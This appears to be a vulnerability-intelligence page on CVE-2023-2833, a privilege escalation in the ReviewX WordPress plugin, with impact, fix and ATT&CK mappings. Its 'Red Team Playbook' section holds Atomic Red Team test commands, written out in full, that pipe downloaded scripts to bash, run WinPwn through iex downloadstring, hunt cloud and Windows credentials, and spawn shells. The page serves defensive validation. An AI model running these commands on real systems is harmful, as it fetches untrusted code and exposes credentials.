CVE-2023-2833
Overview
This vulnerability is a privilege escalation flaw caused by insufficient access control in the 'rx_set_screen_options' function of the ReviewX WordPress plugin. The affected component improperly validates user permissions when processing screen option updates, specifically the 'wp_screen_options[option]' and 'wp_screen_options[value]' parameters. This lack of restriction allows users with minimal privileges to manipulate their own user roles within the system.
Vulnerability Description
The ReviewX plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.6.13 due to insufficient restriction on the 'rx_set_screen_options' function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the 'wp_screen_options[option]' and 'wp_screen_options[value]' parameters during a screen option update.
Impact
An attacker with authenticated subscriber-level access can exploit this vulnerability to elevate their privileges to higher roles, such as administrator, within the WordPress environment. This enables unauthorized access to restricted administrative functionalities, potentially leading to full site compromise. The attack requires valid authentication but no user interaction beyond submitting the crafted request. According to the CVSS vector, the attack has low complexity and no user interaction is needed, increasing the likelihood of exploitation in environments where subscriber accounts exist.
Solution
Users of the ReviewX plugin should upgrade to versions later than 1.6.13 where the vulnerability has been addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/70e1d701-2cff-4793-9e4c-5b16a4038e8d) provides detailed patch information. The fix involves proper permission validation in the 'rx_set_screen_options' function to restrict unauthorized role changes. Administrators should apply the update promptly to mitigate the risk of privilege escalation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The ReviewX plugin for WordPress has been identified as having a critical vulnerability that allows for privilege escalation due to inadequate restrictions on the 'rx_set_screen_options' function. This flaw permits authenticated users, even those with minimal permissions such as subscribers, to manipulate their user roles by crafting specific parameters during a screen option update. The vulnerability arises from the plugin's failure to properly validate user permissions before allowing changes to user roles, thereby enabling unauthorized elevation of privileges. This oversight in access control can lead to significant security breaches, as it undermines the foundational principle of least privilege that is essential for maintaining secure user environments.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who may have gained access to a WordPress site with minimal permissions, can exploit the flaw by sending crafted requests that include the 'wp_screen_options[option]' and 'wp_screen_options[value]' parameters. By doing so, the attacker can escalate their privileges to a higher user role, such as an administrator, which would grant them extensive control over the WordPress site. This could lead to further malicious activities, such as altering site content, installing backdoors, or exfiltrating sensitive data. The simplicity of the attack process, combined with the low barrier to entry for potential attackers, makes this vulnerability particularly concerning for site administrators.
The real-world impact of this vulnerability is profound, especially for businesses that rely on WordPress for their online presence. A successful exploitation can lead to unauthorized access to sensitive information, loss of data integrity, and potential downtime for the affected website. The business risks associated with such incidents include reputational damage, financial losses due to remediation efforts, and potential legal liabilities stemming from data breaches. Organizations that fail to address this vulnerability may find themselves facing significant operational disruptions, loss of customer trust, and regulatory penalties, particularly if sensitive customer data is compromised.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the ReviewX plugin to the latest version is crucial, as developers typically release patches to address known vulnerabilities. Additionally, employing security plugins that monitor user activity and access levels can help identify unauthorized changes to user roles. Implementing strict access controls and adhering to the principle of least privilege can further reduce the attack surface. Regular security audits and penetration testing can also assist in identifying potential weaknesses before they can be exploited by malicious actors. By adopting these strategies, organizations can significantly enhance their security posture and mitigate the risks associated with this vulnerability.
In conclusion, the privilege escalation vulnerability in the ReviewX plugin poses a serious threat to WordPress sites, particularly those with inadequate security measures in place. The ease of exploitation and potential for significant impact necessitate immediate attention from site administrators. By understanding the technical details of the vulnerability, recognizing the various exploitation scenarios, and implementing robust detection and mitigation strategies, organizations can protect themselves against the risks associated with this and similar vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpdeveloper | Reviewx | All |
cpe:2.3:a:wpdeveloper:reviewx:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Alucard0x1/CVE-2023-2833
Mass Exploit Privileges Authentication (Subscriber to Administrator) - Wordpress Plugin ReviewX
|
Alucard0x1 | 1 | 1 | 2023-06-19 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2833 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/70e1d701-2cff-4793-9e4c-5b16a4038e8d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/reviewx/tags/1.6.13/includes/rx-functions.php#L972 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2916148%40reviewx&old=2912114%40reviewx&sfp_email=&sfph_mail=#file472 |
| lana.codes |
GitHub CVE
|
https://lana.codes/lanavdb/a889c3ff-5df0-4d7e-951f-0b0406468efa/ |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/blog/2023/05/wpdeveloper-addresses-privilege-escalation-vulnerability-in-reviewx-wordpress-plugin/ |